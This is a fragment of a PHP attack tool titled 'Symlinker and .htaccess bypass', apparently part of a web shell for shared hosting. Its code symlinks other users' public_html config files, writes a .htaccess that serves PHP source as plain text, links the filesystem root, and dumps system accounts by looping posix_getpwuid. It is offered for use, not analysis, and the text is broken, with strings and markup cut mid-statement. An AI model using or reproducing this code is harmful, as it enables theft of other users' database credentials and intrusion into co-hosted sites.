Symlinker and .htaccess bypass!(by_agent)
Success: '.$user.'-config.txt';
@symlink('/home/' . $user . '/public_html/' . $file . '', $user . '-config.txt'); exit; }
?>
Create .htaccess => SUCCESS!'; $shell = fopen('.htaccess', 'w');
$codes = ('Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php');
fwrite($shell, $codes);
fclose($shell); exit; }
?>
Root dir => SUCCESS! => root dir';
@exec('ln -s / ag3nt'); exit; }
?>
Bypassed /etc/passwd !
';
for($uid=0;$uid<2000;$uid++){ //cat /etc/passwd
$nothing = posix_getpwuid($uid);
if (!empty($nothing)) {
while (list ($key, $val) = each($nothing)){
print "$val:";
}
print "
";
}
}
exit;
}
?>